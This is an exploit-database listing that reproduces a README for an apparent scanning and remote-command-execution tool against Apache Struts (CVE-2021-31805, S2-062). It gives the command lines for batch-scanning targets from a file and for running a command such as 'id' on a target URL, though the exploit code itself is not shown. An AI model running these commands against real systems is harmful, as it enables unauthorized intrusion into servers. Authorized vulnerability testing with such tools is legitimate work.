Sploitus

Exploit for Expression Language Injection in Apache Struts

CVE-2021-31805

githubexploit · 2022-04-15

Exploit Code

README20 lines
## https://sploitus.com/exploit?id=CF10F7D9-0F6C-5F99-9352-17EDDD646D3B
# S2-062
CVE-2021-31805/s2-062 Batch scanning and vulnerability exploitation

Please comply with laws and regulations. Unauthorized attacks on website systems are prohibited.

# Usage Instructions
## Batch scanning mode
```
python3 CVE-2021-31805.py -m scan -f 123.txt
```
![scan_mode](scan.jpg)

## Command execution mode
```
python3 CVE-2021-31805.py -u https://xxx.xxx.com:8080 -c id
```
![rce_mode](rce.jpg)

![burp](burp.jpg)